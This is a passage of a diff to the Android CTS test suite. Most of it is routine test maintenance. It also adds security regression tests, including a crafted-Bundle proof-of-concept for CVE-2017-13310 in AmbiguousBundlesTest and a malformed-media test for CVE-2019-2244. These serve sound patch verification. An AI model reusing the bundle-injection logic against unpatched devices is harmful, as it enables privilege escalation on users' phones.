+import androidx.test.internal.runner.listener.InstrumentationRunListener;
+import android.util.Log;
+import org.junit.runner.Description;
+
+/**
+ * A {@link RunListener} for CrashParser. Dumps the test name to logs when
+ * tests start.
+ */
+public class CrashParserRunListener extends InstrumentationRunListener {
+
+ private static final String TAG = "CrashParserRunListener";
+
+ // Constant must be kept in sync with CrashUtils.java
+ public static final String NEW_TEST_ALERT = "New test starting with name: ";
+
+ @Override
+ public void testStarted(Description description) throws Exception {
+ Log.i(TAG, NEW_TEST_ALERT + description.toString());
+ }
+
+}
diff --git a/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java b/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
new file mode 100644
index 0000000..fbbb684
--- /dev/null
+++ b/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.runner;
+
+import android.support.test.internal.runner.listener.InstrumentationRunListener;
+import android.util.Log;
+import org.junit.runner.Description;
+
+/**
+ * A {@link RunListener} for CrashParser. Dumps the test name to logs when
+ * tests start.
+ */
+public class CrashParserRunListener extends InstrumentationRunListener {
+
+ private static final String TAG = "CrashParserRunListener";
+
+ // Constant must be kept in sync with CrashUtils.java
+ public static final String NEW_TEST_ALERT = "New test starting with name: ";
+
+ @Override
+ public void testStarted(Description description) throws Exception {
+ Log.i(TAG, NEW_TEST_ALERT + description.toString());
+ }
+
+}
diff --git a/tests/filesystem/src/android/filesystem/cts/FileUtil.java b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
index 386679a..5afaac0 100755
--- a/tests/filesystem/src/android/filesystem/cts/FileUtil.java
+++ b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
@@ -143,16 +143,15 @@
public static File createNewFilledFile(Context context, String dirName, long length)
throws IOException {
File file = createNewFile(context, dirName);
- FileOutputStream out = new FileOutputStream(file);
+ final RandomAccessFile randomFile = new RandomAccessFile(file, "rwd"); // force O_SYNC
byte[] data = generateRandomData(BUFFER_SIZE);
- long written = 0;
- while (written < length) {
- int toWrite = (int) Math.min(BUFFER_SIZE, length - written);
- out.write(data, 0, toWrite);
- written += toWrite;
+
+ while (file.length() < length) {
+ int toWrite = (int) Math.min(BUFFER_SIZE, length - file.length());
+ randomFile.write(data, 0, toWrite);
}
- out.flush();
- out.close();
+
+ randomFile.close();
return file;
}
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index e4c5eb6..e6849f3 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -185,6 +185,7 @@
private Date creationDateTime;
private Integer origin;
private boolean rollbackResistant;
+ private boolean rollbackResistance;
private RootOfTrust rootOfTrust;
private Integer osVersion;
private Integer osPatchLevel;
@@ -270,6 +271,9 @@
case KM_TAG_ROLLBACK_RESISTANT & KEYMASTER_TAG_TYPE_MASK:
rollbackResistant = true;
break;
+ case KM_TAG_ROLLBACK_RESISTANCE & KEYMASTER_TAG_TYPE_MASK:
+ rollbackResistance = true;
+ break;
case KM_TAG_AUTH_TIMEOUT & KEYMASTER_TAG_TYPE_MASK:
authTimeout = Asn1Utils.getIntegerFromAsn1(value);
break;
@@ -535,6 +539,10 @@
return rollbackResistant;
}
+ public boolean isRollbackResistance() {
+ return rollbackResistance;
+ }
+
public RootOfTrust getRootOfTrust() {
return rootOfTrust;
}
@@ -675,6 +683,10 @@
s.append("\nRollback resistant: true");
}
+ if (rollbackResistance) {
+ s.append("\nRollback resistance: true");
+ }
+
if (rootOfTrust != null) {
s.append("\nRoot of Trust:\n");
s.append(rootOfTrust);
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 7ac5246..8fdc701 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -83,8 +83,8 @@
allowedDensities.add(DisplayMetrics.DENSITY_XXHIGH);
allowedDensities.add(DisplayMetrics.DENSITY_560);
allowedDensities.add(DisplayMetrics.DENSITY_XXXHIGH);
- assertTrue("DisplayMetrics#densityDpi must be one of the DisplayMetrics.DENSITY_* values: "
- + allowedDensities, allowedDensities.contains(mMetrics.densityDpi));
+ assertTrue("DisplayMetrics.DENSITY_DEVICE_STABLE must be one of the DisplayMetrics.DENSITY_* values: "
+ + allowedDensities, allowedDensities.contains(DisplayMetrics.DENSITY_DEVICE_STABLE));
assertEquals(mMetrics.density,
(float) mMetrics.densityDpi / DisplayMetrics.DENSITY_DEFAULT,
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.cpp b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
index c2dd5b4..17d952f 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
@@ -263,27 +263,6 @@
};
VK_CALL(vkCreateImage(mInit->device(), &createInfo, nullptr, &mImage));
- VkImageMemoryRequirementsInfo2 memReqsInfo;
- memReqsInfo.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_REQUIREMENTS_INFO_2;
- memReqsInfo.pNext = nullptr;
- memReqsInfo.image = mImage;
-
- VkMemoryDedicatedRequirements dedicatedMemReqs;
- dedicatedMemReqs.sType = VK_STRUCTURE_TYPE_MEMORY_DEDICATED_REQUIREMENTS;
- dedicatedMemReqs.pNext = nullptr;
-
- VkMemoryRequirements2 memReqs;
- memReqs.sType = VK_STRUCTURE_TYPE_MEMORY_REQUIREMENTS_2;
- memReqs.pNext = &dedicatedMemReqs;
-
- PFN_vkGetImageMemoryRequirements2KHR getImageMemoryRequirements =
- (PFN_vkGetImageMemoryRequirements2KHR)vkGetDeviceProcAddr(
- mInit->device(), "vkGetImageMemoryRequirements2KHR");
- ASSERT(getImageMemoryRequirements);
- getImageMemoryRequirements(mInit->device(), &memReqsInfo, &memReqs);
- ASSERT(VK_TRUE == dedicatedMemReqs.prefersDedicatedAllocation);
- ASSERT(VK_TRUE == dedicatedMemReqs.requiresDedicatedAllocation);
-
VkImportAndroidHardwareBufferInfoANDROID androidHardwareBufferInfo{
.sType = VK_STRUCTURE_TYPE_IMPORT_ANDROID_HARDWARE_BUFFER_INFO_ANDROID,
.pNext = nullptr,
@@ -317,6 +296,27 @@
ASSERT(bindImageMemory);
VK_CALL(bindImageMemory(mInit->device(), 1, &bindImageInfo));
+ VkImageMemoryRequirementsInfo2 memReqsInfo;
+ memReqsInfo.sType = VK_STRUCTURE_TYPE_IMAGE_MEMORY_REQUIREMENTS_INFO_2;
+ memReqsInfo.pNext = nullptr;
+ memReqsInfo.image = mImage;
+
+ VkMemoryDedicatedRequirements dedicatedMemReqs;
+ dedicatedMemReqs.sType = VK_STRUCTURE_TYPE_MEMORY_DEDICATED_REQUIREMENTS;
+ dedicatedMemReqs.pNext = nullptr;
+
+ VkMemoryRequirements2 memReqs;
+ memReqs.sType = VK_STRUCTURE_TYPE_MEMORY_REQUIREMENTS_2;
+ memReqs.pNext = &dedicatedMemReqs;
+
+ PFN_vkGetImageMemoryRequirements2KHR getImageMemoryRequirements =
+ (PFN_vkGetImageMemoryRequirements2KHR)vkGetDeviceProcAddr(
+ mInit->device(), "vkGetImageMemoryRequirements2KHR");
+ ASSERT(getImageMemoryRequirements);
+ getImageMemoryRequirements(mInit->device(), &memReqsInfo, &memReqs);
+ ASSERT(VK_TRUE == dedicatedMemReqs.prefersDedicatedAllocation);
+ ASSERT(VK_TRUE == dedicatedMemReqs.requiresDedicatedAllocation);
+
if (useExternalFormat /* TODO: || explicit format requires conversion */) {
VkSamplerYcbcrConversionCreateInfo conversionCreateInfo{
.sType = VK_STRUCTURE_TYPE_SAMPLER_YCBCR_CONVERSION_CREATE_INFO,
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 669a65a..342cba7 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -22,6 +22,7 @@
import android.graphics.Rect;
import android.hardware.Camera;
import android.media.AudioManager;
+import android.media.CamcorderProfile;
import android.media.MediaDataSource;
import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
@@ -58,6 +59,7 @@
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
+import java.util.ArrayList;
import java.util.List;
import java.util.StringTokenizer;
import java.util.UUID;
@@ -1024,7 +1026,14 @@
// getSupportedVideoSizes returns null when separate video/preview size
// is not supported.
if (videoSizes == null) {
- videoSizes = parameters.getSupportedPreviewSizes();
+ // If we have CamcorderProfile use it instead of Preview size.
+ if (CamcorderProfile.hasProfile(0, CamcorderProfile.QUALITY_LOW)) {
+ CamcorderProfile profile = CamcorderProfile.get(0, CamcorderProfile.QUALITY_LOW);
+ videoSizes = new ArrayList();
+ videoSizes.add(mCamera.new Size(profile.videoFrameWidth, profile.videoFrameHeight));
+ } else {
+ videoSizes = parameters.getSupportedPreviewSizes();
+ }
}
for (Camera.Size size : videoSizes)
{
diff --git a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
index 38a8403..6ef2a65 100644
--- a/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VpxEncoderTest.java
@@ -67,7 +67,7 @@
// Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
// buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
// buffer dequeue timeout.
- private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 0.5;
+ private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 1.5;
// Maximum allowed minimum PSNR difference of the encoder running in a looper thread
// comparing to the encoder running in a callee's thread.
private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
diff --git a/tests/tests/net/jni/NativeDnsJni.c b/tests/tests/net/jni/NativeDnsJni.c
index 352c0c5..6d3d1c3 100644
--- a/tests/tests/net/jni/NativeDnsJni.c
+++ b/tests/tests/net/jni/NativeDnsJni.c
@@ -120,8 +120,8 @@
gai_strerror(res));
return JNI_FALSE;
}
- if (strstr(buf, "google.com") == NULL) {
- ALOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com: %s",
+ if (strstr(buf, "google.com") == NULL && strstr(buf, "dns.google") == NULL) {
+ ALOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com or dns.google: %s",
GoogleDNSIpV4Address, buf);
return JNI_FALSE;
}
@@ -133,8 +133,9 @@
res, gai_strerror(res));
return JNI_FALSE;
}
- if (strstr(buf, "google.com") == NULL) {
- ALOGD("getnameinfo(%s) didn't return google.com: %s", GoogleDNSIpV6Address2, buf);
+ if (strstr(buf, "google.com") == NULL && strstr(buf, "dns.google") == NULL) {
+ ALOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com or dns.google: %s",
+ GoogleDNSIpV6Address2, buf);
return JNI_FALSE;
}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 10fdd1b..79bccf7 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -61,6 +61,8 @@
android:label="CTS tests of android.security.cts">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CrashParserRunListener" />
</instrumentation>
</manifest>
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index a146029..fd1043f 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSecurityTestCases.apk" />
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.security.cts" />
<option name="runtime-hint" value="1h40m18s" />
diff --git a/tests/tests/security/res/raw/cve_2019_2244.ts b/tests/tests/security/res/raw/cve_2019_2244.ts
new file mode 100644
index 0000000..9d03265
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2244.ts
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index ae5bc8e..e7126ed 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -23,6 +23,9 @@
import android.os.Bundle;
import android.os.Parcel;
import android.os.Parcelable;
+import android.view.AbsSavedState;
+import android.view.View;
+import android.view.View.BaseSavedState;
import android.annotation.SuppressLint;
import java.io.InputStream;
@@ -35,6 +38,96 @@
public class AmbiguousBundlesTest extends AndroidTestCase {
/*
+ * b/71992105
+ */
+ @SecurityTest(minPatchLevel = "2018-05")
+ public void test_android_CVE_2017_13310() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ {
+ parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+ parcelledDataField.setAccessible(true);
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+ padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+ String key2;
+ int key2Hash;
+ do {
+ key2 = makeStringToInject(random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 2);
+ parcel.writeString(key);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("com.android.internal.widget.ViewPager$SavedState");
+
+ (new View.BaseSavedState(AbsSavedState.EMPTY_STATE)).writeToParcel(parcel, 0);
+
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+
+ private String makeStringToInject(Random random) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(VAL_INTARRAY);
+ p.writeInt(13);
+
+ for (int i = 0; i < VAL_INTARRAY / 2; i++) {
+ int paddingVal;
+ if(1 > 3) {
+ paddingVal = 0x420041 + (i << 17) + (i << 1);
+ } else {
+ paddingVal = random.nextInt();
+ }
+ p.writeInt(paddingVal);
+ }
+
+ p.setDataPosition(0);
+ String result = p.readString();
+ p.recycle();
+ return result;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ /*
* b/71508348
*/
@SecurityTest(minPatchLevel = "2018-06")
@@ -42,8 +135,6 @@
Ambiguator ambiguator = new Ambiguator() {
- private final Field parcelledDataField;
-
private static final String BASE_PARCELABLE = "android.telephony.CellInfo";
private final Parcelable smallerParcelable;
private final Parcelable biggerParcelable;
@@ -412,7 +503,7 @@
protected static final int BUNDLE_MAGIC = 0x4C444E42;
protected static final int INNER_BUNDLE_PADDING = 1;
- protected final Field parcelledDataField;
+ protected Field parcelledDataField;
public Ambiguator() throws Exception {
parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index ebc489d..1badd8b 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -47,8 +47,13 @@
import android.view.Surface;
import android.webkit.cts.CtsTestServer;
+import com.android.compatibility.common.util.CrashUtils;
+
import java.io.BufferedInputStream;
+import java.io.BufferedReader;
+import java.io.File;
import java.io.FileInputStream;
+import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
@@ -64,6 +69,10 @@
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.ReentrantLock;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
import android.security.cts.R;
@@ -76,6 +85,7 @@
static final String TAG = "StagefrightTest";
private final long TIMEOUT_NS = 10000000000L; // 10 seconds.
+ private final static long CHECK_INTERVAL = 50;
public StagefrightTest() {
}
@@ -85,6 +95,11 @@
before any existing test methods
***********************************************************/
+ @SecurityTest(minPatchLevel = "2019-04")
+ public void testStagefright_cve_2019_2244() throws Exception {
+ doStagefrightTestRawBlob(R.raw.cve_2019_2244, "video/mpeg2", 320, 420);
+ }
+
@SecurityTest(minPatchLevel = "2017-07")
public void testStagefright_bug_36725407() throws Exception {
doStagefrightTest(R.raw.bug_36725407);
@@ -1128,10 +1143,41 @@
return new Surface(surfaceTex);
}
+ public JSONArray getCrashReport(String testname, long timeout)
+ throws InterruptedException {
+ Log.i(TAG, CrashUtils.UPLOAD_REQUEST);
+ File reportFile = new File(CrashUtils.DEVICE_PATH, testname);
+ File lockFile = new File(CrashUtils.DEVICE_PATH, CrashUtils.LOCK_FILENAME);
+ while ((!reportFile.exists() || !lockFile.exists()) && timeout > 0) {
+ Thread.sleep(CHECK_INTERVAL);
+ timeout -= CHECK_INTERVAL;
+ }
+ if (!reportFile.exists() || !reportFile.isFile() || !lockFile.exists()) {
+ return null;
+ }
+ try (BufferedReader reader = new BufferedReader(new FileReader(reportFile))) {
+ StringBuilder json = new StringBuilder();
+ String line = reader.readLine();
+ while (line != null) {
+ json.append(line);
+ line = reader.readLine();
+ }
+ return new JSONArray(json.toString());
+ } catch (IOException | JSONException e) {
+ Log.e(TAG, "Failed to deserialize crash list with error " + e.getMessage());
+ return null;
+ }
+ }
+
class MediaPlayerCrashListener
- implements MediaPlayer.OnErrorListener,
+ implements MediaPlayer.OnErrorListener,
MediaPlayer.OnPreparedListener,
MediaPlayer.OnCompletionListener {
+
+ private final String[] validProcessNames = {
+ "mediaserver", "mediadrmserver", "media.extractor", "media.codec", "media.metrics"
+ };
+
@Override
public boolean onError(MediaPlayer mp, int newWhat, int extra) {
Log.i(TAG, "error: " + newWhat + "/" + extra);
@@ -1172,6 +1218,21 @@
// and see if more errors show up.
SystemClock.sleep(1000);
}
+ if (what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
+ JSONArray crashes = getCrashReport(getName(), 5000);
+ if (crashes == null) {
+ Log.e(TAG, "Crash results not found for test " + getName());
+ return what;
+ } else if (CrashUtils.detectCrash(validProcessNames, true, crashes)) {
+ return what;
+ } else {
+ Log.i(TAG, "Crash ignored due to no security crash found for test " +
+ getName());
+ // 0 is the code for no error.
+ return 0;
+ }
+
+ }
return what;
}
diff --git a/tests/tests/view/res/layout/drag_drop_layout.xml b/tests/tests/view/res/layout/drag_drop_layout.xml
index cf882bd..9f4614c 100644
--- a/tests/tests/view/res/layout/drag_drop_layout.xml
+++ b/tests/tests/view/res/layout/drag_drop_layout.xml
@@ -25,26 +25,26 @@
android:id="@+id/container"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="42dp"
+ android:layout_margin="21dp"
android:background="#BBBBBB">
<FrameLayout
android:id="@+id/subcontainer"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
- android:layout_margin="42dp"
+ android:layout_margin="21dp"
android:background="#666666">
<View
android:id="@+id/inner"
- android:layout_width="42dp"
- android:layout_height="42dp"
- android:layout_margin="42dp"
+ android:layout_width="21dp"
+ android:layout_height="21dp"
+ android:layout_margin="21dp"
android:background="#00FF00" />
</FrameLayout>
</FrameLayout>
<View
android:id="@+id/draggable"
- android:layout_width="42dp"
- android:layout_height="42dp"
- android:layout_margin="42dp"
+ android:layout_width="21dp"
+ android:layout_height="21dp"
+ android:layout_margin="21dp"
android:background="#0000FF" />
</LinearLayout>
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index ab24972..6f14aa9 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -757,21 +757,21 @@
private void assertBitmapEdgeColor(Bitmap bitmap, int edgeColor) {
// Just quickly sample a few pixels on the edge and assert
// they are edge color, then assert that just inside the edge is a different color
- assertBitmapColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 0);
- assertBitmapNotColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 1);
+ assertBitmapColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 1);
+ assertBitmapNotColor("Top edge", bitmap, edgeColor, bitmap.getWidth() / 2, 2);
- assertBitmapColor("Left edge", bitmap, edgeColor, 0, bitmap.getHeight() / 2);
- assertBitmapNotColor("Left edge", bitmap, edgeColor, 1, bitmap.getHeight() / 2);
+ assertBitmapColor("Left edge", bitmap, edgeColor, 1, bitmap.getHeight() / 2);
+ assertBitmapNotColor("Left edge", bitmap, edgeColor, 2, bitmap.getHeight() / 2);
assertBitmapColor("Bottom edge", bitmap, edgeColor,
- bitmap.getWidth() / 2, bitmap.getHeight() - 1);
- assertBitmapNotColor("Bottom edge", bitmap, edgeColor,
bitmap.getWidth() / 2, bitmap.getHeight() - 2);
+ assertBitmapNotColor("Bottom edge", bitmap, edgeColor,
+ bitmap.getWidth() / 2, bitmap.getHeight() - 3);
assertBitmapColor("Right edge", bitmap, edgeColor,
- bitmap.getWidth() - 1, bitmap.getHeight() / 2);
- assertBitmapNotColor("Right edge", bitmap, edgeColor,
bitmap.getWidth() - 2, bitmap.getHeight() / 2);
+ assertBitmapNotColor("Right edge", bitmap, edgeColor,
+ bitmap.getWidth() - 3, bitmap.getHeight() / 2);
}
private boolean pixelsAreSame(int ideal, int given, int threshold) {
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
index 054de45..07aa4fd 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
@@ -157,22 +157,23 @@
protected void onDraw(Canvas canvas) {
int cx = getWidth() / 2;
int cy = getHeight() / 2;
+ final int BORDER_WIDTH = 2;
canvas.drawColor(Color.YELLOW);
- mRect.set(1, 1, cx, cy);
+ mRect.set(BORDER_WIDTH, BORDER_WIDTH, cx, cy);
mPaint.setColor(Color.RED);
canvas.drawRect(mRect, mPaint);
- mRect.set(cx, 1, getWidth() - 1, cy);
+ mRect.set(cx, BORDER_WIDTH, getWidth() - BORDER_WIDTH, cy);
mPaint.setColor(Color.GREEN);
canvas.drawRect(mRect, mPaint);
- mRect.set(1, cy, cx, getHeight() - 1);
+ mRect.set(BORDER_WIDTH, cy, cx, getHeight() - BORDER_WIDTH);
mPaint.setColor(Color.BLUE);
canvas.drawRect(mRect, mPaint);
- mRect.set(cx, cy, getWidth() - 1, getHeight() - 1);
+ mRect.set(cx, cy, getWidth() - BORDER_WIDTH, getHeight() - BORDER_WIDTH);
mPaint.setColor(Color.BLACK);
canvas.drawRect(mRect, mPaint);
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 0bb8fb7..14dd431 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1781,8 +1781,21 @@
&& mOnUiThread.getHeight() != 0;
}
}.run();
- assertEquals(mOnUiThread.getHeight(),
- mOnUiThread.getContentHeight() * mOnUiThread.getScale(), 2f);
+
+ final int tolerance = 2;
+ // getHeight() returns physical pixels and it is from web contents' size, getContentHeight()
+ // returns CSS pixels and it is from compositor. In order to compare these two values, we
+ // need to scale getContentHeight() by the device scale factor. This also amplifies any
+ // rounding errors. Internally, getHeight() could also have rounding error first and then
+ // times device scale factor, so we are comparing two rounded numbers below.
+ // We allow 2 * getScale() as the delta, because getHeight() and getContentHeight() may
+ // use different rounding algorithms and the results are from different computation
+ // sequences. The extreme case is that in CSS pixel we have 2 as differences (0.9999 rounded
+ // down and 1.0001 rounded up), therefore we ended with 2 * getScale().
+ assertEquals(
+ mOnUiThread.getHeight(),
+ mOnUiThread.getContentHeight() * mOnUiThread.getScale(),
+ tolerance * mOnUiThread.getScale());
// Make pageHeight bigger than the larger dimension of the device, so the page is taller
// than viewport. Because when layout_height set to match_parent, getContentHeight() will
@@ -1810,7 +1823,13 @@
new PollingCheck() {
@Override
protected boolean check() {
- return pageHeight + pageHeight + extraSpace == mOnUiThread.getContentHeight();
+ // |pageHeight| is accurate, |extraSpace| = getContentheight() - |pageHeight|, so it
+ // might have rounding error +-1, also getContentHeight() might have rounding error
+ // +-1, so we allow error 2. Note that |pageHeight|, |extraSpace| and
+ // getContentHeight() are all CSS pixels.
+ final int expectedContentHeight = pageHeight + pageHeight + extraSpace;
+ return Math.abs(expectedContentHeight - mOnUiThread.getContentHeight())
+ <= tolerance;
}
}.run();
}
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
index acd0c4c..54d7c22 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
@@ -44,10 +44,6 @@
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.List;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class ZoomButtonTest {
@@ -128,87 +124,62 @@
assertFalse(mZoomButton.dispatchUnhandledMove(null, View.FOCUS_DOWN));
}
- private void verifyZoomSpeed(ZoomClickListener zoomClickListener, long zoomSpeedMs) {
- mZoomButton.setZoomSpeed(zoomSpeedMs);
-
- final long startTime = System.nanoTime();
- // Emulate long click that "lasts" for ten seconds
- CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mZoomButton, 10000);
-
- final List<Long> callbackInvocations = zoomClickListener.getClickTimes();
- assertFalse("Expecting at least one callback", callbackInvocations.isEmpty());
-
- // Verify that the first callback is fired after the system-level long press timeout.
- final long minTimeUntilFirstInvocationMs = ViewConfiguration.getLongPressTimeout();
- final long actualTimeUntilFirstInvocationNs = callbackInvocations.get(0) - startTime;
- assertTrue("First callback not during long press timeout was " +
- actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI +
- " while long press timeout is " + minTimeUntilFirstInvocationMs,
- (callbackInvocations.get(0) - startTime) >
- minTimeUntilFirstInvocationMs * NANOS_IN_MILLI);
-
- // Verify that subsequent callbacks are at least zoom-speed milliseconds apart. Note that
- // we do not have any hard guarantee about the max limit on the time between successive
- // callbacks.
- final long minTimeBetweenInvocationsNs = zoomSpeedMs * NANOS_IN_MILLI;
- if (callbackInvocations.size() > 1) {
- for (int i = 0; i < callbackInvocations.size() - 1; i++) {
- final long actualTimeBetweenInvocationsNs =
- (callbackInvocations.get(i + 1) - callbackInvocations.get(i)) *
- NANOS_IN_MILLI;
- assertTrue("Callback " + (i + 1) + " happened " +
- actualTimeBetweenInvocationsNs / NANOS_IN_MILLI +
- " after the previous one, while zoom speed is " + zoomSpeedMs,
- actualTimeBetweenInvocationsNs > minTimeBetweenInvocationsNs);
- }
- }
- }
-
- @LargeTest
- @Test
- public void testOnLongClick() {
- // Since Mockito doesn't have utilities to track the timestamps of method invocations,
- // we're using our own custom click listener for that. We want to verify that the
- // first listener invocation was after long press timeout, and the rest were spaced
- // by at least our zoom speed milliseconds
-
- mZoomButton.setEnabled(true);
- ZoomClickListener zoomClickListener = new ZoomClickListener();
- mZoomButton.setOnClickListener(zoomClickListener);
-
- verifyZoomSpeed(zoomClickListener, 2000);
- }
-
@LargeTest
@Test
public void testSetZoomSpeed() {
- final long[] zoomSpeeds = { 100, -1, 5000, 1000, 2500 };
+ final long[] zoomSpeeds = { 0, 100 };
mZoomButton.setEnabled(true);
ZoomClickListener zoomClickListener = new ZoomClickListener();
mZoomButton.setOnClickListener(zoomClickListener);
for (long zoomSpeed : zoomSpeeds) {
- // Reset the tracker list of our listener, but continue using it for testing
+ // Reset the tracking state of our listener, but continue using it for testing
// various zoom speeds on the same ZoomButton
zoomClickListener.reset();
- verifyZoomSpeed(zoomClickListener, zoomSpeed);
+
+ mZoomButton.setZoomSpeed(zoomSpeed);
+
+ final long startTime = System.nanoTime();
+ // Emulate long click
+ long longPressWait = ViewConfiguration.getLongPressTimeout()
+ + zoomSpeed + 100;
